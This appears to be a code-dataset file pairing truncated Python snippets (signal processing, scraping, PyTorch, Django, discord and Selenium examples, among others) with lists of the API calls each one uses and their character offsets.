] | [((2340, 2361), 'riscv_ctg.log.logger.level', 'logger.level', (['verbose'], {}), '(verbose)\n', (2352, 2361), False, 'from riscv_ctg.log import logger\n'), ((2458, 2524), 'riscv_ctg.log.logger.info', 'logger.info', (['"""Copyright (c) 2020, InCore Semiconductors Pvt. Ltd."""'], {}), "('Copyright (c) 2020, InCore Semico... |
import matplotlib.pyplot as plt
import numpy as np
import sys
sys.path.append('../../../software/models/')
import dftModel as DFT
import math
k0 = 8.5
N = 64
w = np.ones(N)
x = np.cos(2*np.pi*k0/N*np.arange(-N/2,N/2))
mX, pX = DFT.dftAnal(x, w, N)
y = DFT.dftSynth(mX, pX, N)
plt.figure(1, figsize=(9.5, 5))
plt.subpl... | [
"matplotlib.pyplot.savefig",
"numpy.ones",
"numpy.arange",
"matplotlib.pyplot.axis",
"matplotlib.pyplot.subplot",
"matplotlib.pyplot.figure",
"dftModel.dftAnal",
"matplotlib.pyplot.tight_layout",
"matplotlib.pyplot.title",
"sys.path.append",
"dftModel.dftSynth",
"matplotlib.pyplot.show"
] | [((63, 107), 'sys.path.append', 'sys.path.append', (['"""../../../software/models/"""'], {}), "('../../../software/models/')\n", (78, 107), False, 'import sys\n'), ((164, 174), 'numpy.ones', 'np.ones', (['N'], {}), '(N)\n', (171, 174), True, 'import numpy as np\n'), ((229, 249), 'dftModel.dftAnal', 'DFT.dftAnal', (['x'... |
import pytest
import numpy as np
from fanok.selection import adaptive_significance_threshold
@pytest.mark.parametrize(
"w, q, offset, expected",
[
([1, 2, 3, 4, 5], 0.1, 0, 1),
([-1, 2, -3, 4, 5], 0.1, 0, 4),
([-3, -2, -1, 0, 1, 2, 3], 0.1, 0, np.inf),
([-3, -2, -1, 0, 1, 2, ... | [
"fanok.selection.adaptive_significance_threshold",
"pytest.mark.parametrize",
"numpy.array"
] | [((98, 480), 'pytest.mark.parametrize', 'pytest.mark.parametrize', (['"""w, q, offset, expected"""', '[([1, 2, 3, 4, 5], 0.1, 0, 1), ([-1, 2, -3, 4, 5], 0.1, 0, 4), ([-3, -2, -1,\n 0, 1, 2, 3], 0.1, 0, np.inf), ([-3, -2, -1, 0, 1, 2, 3, 4, 5, 6, 7, 8, \n 9, 10], 0.1, 0, 4), ([-3, -2, -1, 0, 1, 2, 3, 4, 5, 6, 7, 8... |
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
#Author:Winston.Wang
import requests
from bs4 import BeautifulSoup
print(dir(BeautifulSoup))
url = 'http://www.baidu.com';
with requests.get(url) as r:
r.encoding='utf-8'
soup = BeautifulSoup(r.text)
#格式化
pret = soup.prettify();
u = soup.select('#u1 a')
for i in u:
... | [
"bs4.BeautifulSoup",
"requests.get"
] | [((175, 192), 'requests.get', 'requests.get', (['url'], {}), '(url)\n', (187, 192), False, 'import requests\n'), ((227, 248), 'bs4.BeautifulSoup', 'BeautifulSoup', (['r.text'], {}), '(r.text)\n', (240, 248), False, 'from bs4 import BeautifulSoup\n')] |
#
# This module builds upon Cycles nodes work licensed as
# Copyright 2011-2013 Blender Foundation
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2... | [
"arm.material.mat_state.bind_textures.append",
"os.path.exists",
"os.path.getsize",
"os.makedirs",
"os.path.join",
"os.path.isfile",
"math.cos",
"shutil.copy",
"math.sin"
] | [((68911, 68946), 'arm.material.mat_state.bind_textures.append', 'mat_state.bind_textures.append', (['tex'], {}), '(tex)\n', (68941, 68946), True, 'import arm.material.mat_state as mat_state\n'), ((64744, 64782), 'os.path.join', 'os.path.join', (['unpack_path', "tex['file']"], {}), "(unpack_path, tex['file'])\n", (6475... |
import configparser
import numpy as np
import os
class Config:
def _select_val(self, section: str, key: str = None):
if section in self._custom and key in self._custom[section]:
return self._custom[section][key]
elif section in self._config:
return self._config[se... | [
"os.path.exists",
"os.listdir",
"os.environ.get",
"configparser.ConfigParser"
] | [((9646, 9673), 'os.listdir', 'os.listdir', (['f"""assets/items"""'], {}), "(f'assets/items')\n", (9656, 9673), False, 'import os\n'), ((871, 898), 'configparser.ConfigParser', 'configparser.ConfigParser', ([], {}), '()\n', (896, 898), False, 'import configparser\n'), ((976, 1003), 'configparser.ConfigParser', 'configp... |
# Copyright 2019 <NAME>
# License: Apache 2.0 (http://www.apache.org/licenses/LICENSE-2.0)
import math
import numpy as np
import torch as th
import torch.nn as nn
import torch.nn.functional as tf
import librosa.filters as filters
from aps.const import EPSILON
from typing import Optional, Union, Tuple
def init_wind... | [
"torch.nn.functional.conv1d",
"math.log2",
"torch.hann_window",
"torch.sin",
"torch.cos",
"torch.sum",
"torch.nn.functional.pad",
"torch.repeat_interleave",
"torch.arange",
"numpy.arange",
"math.gcd",
"torch.unsqueeze",
"torch.eye",
"torch.matmul",
"numpy.abs",
"torch.transpose",
"li... | [((2301, 2317), 'torch.fft', 'th.fft', (['(I / S)', '(1)'], {}), '(I / S, 1)\n', (2307, 2317), True, 'import torch as th\n'), ((2531, 2569), 'torch.reshape', 'th.reshape', (['K', '(B * 2, 1, K.shape[-1])'], {}), '(K, (B * 2, 1, K.shape[-1]))\n', (2541, 2569), True, 'import torch as th\n'), ((3742, 3847), 'librosa.filte... |
# Generated by Django 2.2.5 on 2020-04-08 00:08
from django.db import migrations
class Migration(migrations.Migration):
dependencies = [
('budget', '0004_auto_20200407_2356'),
]
operations = [
migrations.DeleteModel(
name='HiddenStatus_Budget',
),
]
| [
"django.db.migrations.DeleteModel"
] | [((226, 276), 'django.db.migrations.DeleteModel', 'migrations.DeleteModel', ([], {'name': '"""HiddenStatus_Budget"""'}), "(name='HiddenStatus_Budget')\n", (248, 276), False, 'from django.db import migrations\n')] |
# 대신증권 API
# 데이터 요청 방법 2가지 BlockRequest 와 Request 방식 비교 예제
# 플러스 API 에서 데이터를 요청하는 방법은 크게 2가지가 있습니다
#
# BlockRequest 방식 - 가장 간단하게 데이터 요청해서 수신 가능
# Request 호출 후 Received 이벤트로 수신 받기
#
# 아래는 위 2가지를 비교할 수 있도록 만든 예제 코드입니다
# 일반적인 데이터 요청에는 BlockRequest 방식이 가장 간단합니다
# 다만, BlockRequest 함수 내에서도 동일 하게 메시지펌핑을 하고 있어 해당 ... | [
"win32event.SetEvent",
"pythoncom.PumpWaitingMessages",
"win32event.CreateEvent",
"win32event.MsgWaitForMultipleObjects"
] | [((629, 669), 'win32event.CreateEvent', 'win32event.CreateEvent', (['None', '(0)', '(0)', 'None'], {}), '(None, 0, 0, None)\n', (651, 669), False, 'import win32event\n'), ((1438, 1527), 'win32event.MsgWaitForMultipleObjects', 'win32event.MsgWaitForMultipleObjects', (['waitables', '(0)', 'timeout', 'win32event.QS_ALLEVE... |
from typing import TYPE_CHECKING
if TYPE_CHECKING:
from Platforms.Web.main_web import PhaazebotWeb
import json
from aiohttp.web import Response
from Utils.Classes.extendedrequest import ExtendedRequest
async def apiDiscordConfigsQuoteDisabledChannelExists(cls:"PhaazebotWeb", WebRequest:ExtendedRequest, **kwargs) -> ... | [
"json.dumps"
] | [((1311, 1326), 'json.dumps', 'json.dumps', (['res'], {}), '(res)\n', (1321, 1326), False, 'import json\n'), ((2504, 2519), 'json.dumps', 'json.dumps', (['res'], {}), '(res)\n', (2514, 2519), False, 'import json\n')] |
import torch
import torch.nn as nn
class EstimatorCV():
def __init__(self, feature_num, class_num):
super(EstimatorCV, self).__init__()
self.class_num = class_num
self.CoVariance = torch.zeros(class_num, feature_num, feature_num)#.cuda()
self.Ave = torch.zeros(class_num, feature_nu... | [
"torch.bmm",
"torch.eye",
"torch.nn.CrossEntropyLoss",
"torch.zeros"
] | [((211, 259), 'torch.zeros', 'torch.zeros', (['class_num', 'feature_num', 'feature_num'], {}), '(class_num, feature_num, feature_num)\n', (222, 259), False, 'import torch\n'), ((287, 322), 'torch.zeros', 'torch.zeros', (['class_num', 'feature_num'], {}), '(class_num, feature_num)\n', (298, 322), False, 'import torch\n'... |
"""
Module for plotting analyses
"""
import matplotlib as mpl
import matplotlib.pyplot as plt
import numpy as np
from copy import deepcopy
import pickle, json
import os
from matplotlib.offsetbox import AnchoredOffsetbox
try:
basestring
except NameError:
basestring = str
colorList = [[0.42, 0.67, 0.84], [0.... | [
"numpy.abs",
"matplotlib.offsetbox.VPacker",
"matplotlib.patches.Rectangle",
"matplotlib.offsetbox.AuxTransformBox",
"os.path.join",
"numpy.max",
"os.path.isfile",
"matplotlib.pyplot.close",
"matplotlib.offsetbox.TextArea",
"matplotlib.offsetbox.AnchoredOffsetbox.__init__",
"matplotlib.style.use... | [((970, 999), 'copy.deepcopy', 'deepcopy', (['mpl.rcParamsDefault'], {}), '(mpl.rcParamsDefault)\n', (978, 999), False, 'from copy import deepcopy\n'), ((2219, 2271), 'matplotlib.pyplot.subplots', 'plt.subplots', (['nrows', 'ncols'], {'figsize': 'figSize', 'dpi': 'dpi'}), '(nrows, ncols, figsize=figSize, dpi=dpi)\n', (... |
from mo_parsing.helpers import QuotedString
wikiInput = """
Here is a simple Wiki input:
*This is in italics.*
**This is in bold!**
***This is in bold italics!***
Here's a URL to {{Pyparsing's Wiki Page->https://site-closed.wikispaces.com}}
"""
def convertToHTML(opening, closing):
def convers... | [
"mo_parsing.helpers.QuotedString"
] | [((440, 457), 'mo_parsing.helpers.QuotedString', 'QuotedString', (['"""*"""'], {}), "('*')\n", (452, 457), False, 'from mo_parsing.helpers import QuotedString\n'), ((515, 533), 'mo_parsing.helpers.QuotedString', 'QuotedString', (['"""**"""'], {}), "('**')\n", (527, 533), False, 'from mo_parsing.helpers import QuotedStr... |
import os
import time
import cv2
import sys
sys.path.append('..')
import numpy as np
from math import cos, sin
from lib.FSANET_model import *
import numpy as np
from keras.layers import Average
def draw_axis(img, yaw, pitch, roll, tdx=None, tdy=None, size = 50):
print(yaw,roll,pitch)
pitch = pitch * np.pi /... | [
"cv2.rectangle",
"cv2.resize",
"os.makedirs",
"cv2.normalize",
"cv2.dnn.readNetFromCaffe",
"cv2.imshow",
"math.cos",
"numpy.array",
"os.path.sep.join",
"cv2.waitKey",
"numpy.empty",
"cv2.VideoCapture",
"numpy.expand_dims",
"time.time",
"numpy.shape",
"math.sin",
"sys.path.append",
... | [((45, 66), 'sys.path.append', 'sys.path.append', (['""".."""'], {}), "('..')\n", (60, 66), False, 'import sys\n'), ((3243, 3278), 'os.makedirs', 'os.makedirs', (['"""./img"""'], {'exist_ok': '(True)'}), "('./img', exist_ok=True)\n", (3254, 3278), False, 'import os\n'), ((4861, 4915), 'os.path.sep.join', 'os.path.sep.j... |
import discord
from discord.commands import option
bot = discord.Bot(debug_guilds=[...])
COLORS = ["red", "orange", "yellow", "green", "blue", "indigo", "violet"]
LOTS_OF_COLORS = [
"aliceblue",
"antiquewhite",
"aqua",
"aquamarine",
"azure",
"beige",
"bisque",
"blueviolet",
"brown... | [
"discord.commands.option",
"discord.utils.basic_autocomplete",
"discord.Bot"
] | [((58, 89), 'discord.Bot', 'discord.Bot', ([], {'debug_guilds': '[...]'}), '(debug_guilds=[...])\n', (69, 89), False, 'import discord\n'), ((3109, 3178), 'discord.commands.option', 'option', (['"""color"""'], {'description': '"""Pick a color!"""', 'autocomplete': 'get_colors'}), "('color', description='Pick a color!', ... |
from _thread import start_new_thread
from bitcoin.messages import *
from bitcoin.net import CAddress
from bitcoin.core import CBlock
from io import BytesIO as _BytesIO
import atexit
import bitcoin
import fcntl
import hashlib
import json
import os
import random
import re
import socket
import struct
import sys
import tim... | [
"datetime.datetime",
"os.path.exists",
"socket.send",
"bitcoin.core.CBlock",
"socket.socket",
"atexit.register",
"io.BytesIO",
"os.geteuid",
"time.sleep",
"os.getcwd",
"datetime.datetime.now",
"os.popen",
"random.getrandbits",
"socket.close",
"sys.exit",
"random.randint",
"_thread.st... | [((342, 354), 'os.geteuid', 'os.geteuid', ([], {}), '()\n', (352, 354), False, 'import os\n'), ((362, 493), 'sys.exit', 'sys.exit', (['"""\nYou need to have root privileges to run this script.\nPlease try again, this time using \'sudo\'. Exiting.\n"""'], {}), '(\n """\nYou need to have root privileges to run this sc... |
import logging
from testing_func import testing_func, test_logger
from unit_parse import logger, Unit, Q
from unit_parse.utils import *
test_logger.setLevel(logging.DEBUG)
logger.setLevel(logging.DEBUG)
test_split_list = [
# positive control (changes)
[["fish","pig", "cow"], ["f", "is", "h", "pig", "cow"], ... | [
"unit_parse.Unit",
"unit_parse.Q",
"testing_func.test_logger.setLevel",
"testing_func.testing_func",
"unit_parse.logger.setLevel"
] | [((138, 173), 'testing_func.test_logger.setLevel', 'test_logger.setLevel', (['logging.DEBUG'], {}), '(logging.DEBUG)\n', (158, 173), False, 'from testing_func import testing_func, test_logger\n'), ((174, 204), 'unit_parse.logger.setLevel', 'logger.setLevel', (['logging.DEBUG'], {}), '(logging.DEBUG)\n', (189, 204), Fal... |
from functools import partial
from selenium.webdriver import Firefox
from selenium.webdriver.support.ui import (
WebDriverWait
)
def esperar_elemento(elemento, webdriver):
print(f'Tentando encontrar "{elemento}"')
if webdriver.find_elements_by_css_selector(elemento):
return True
return False
... | [
"selenium.webdriver.support.ui.WebDriverWait",
"selenium.webdriver.Firefox",
"functools.partial"
] | [((337, 372), 'functools.partial', 'partial', (['esperar_elemento', '"""button"""'], {}), "(esperar_elemento, 'button')\n", (344, 372), False, 'from functools import partial\n'), ((391, 429), 'functools.partial', 'partial', (['esperar_elemento', '"""#finished"""'], {}), "(esperar_elemento, '#finished')\n", (398, 429), ... |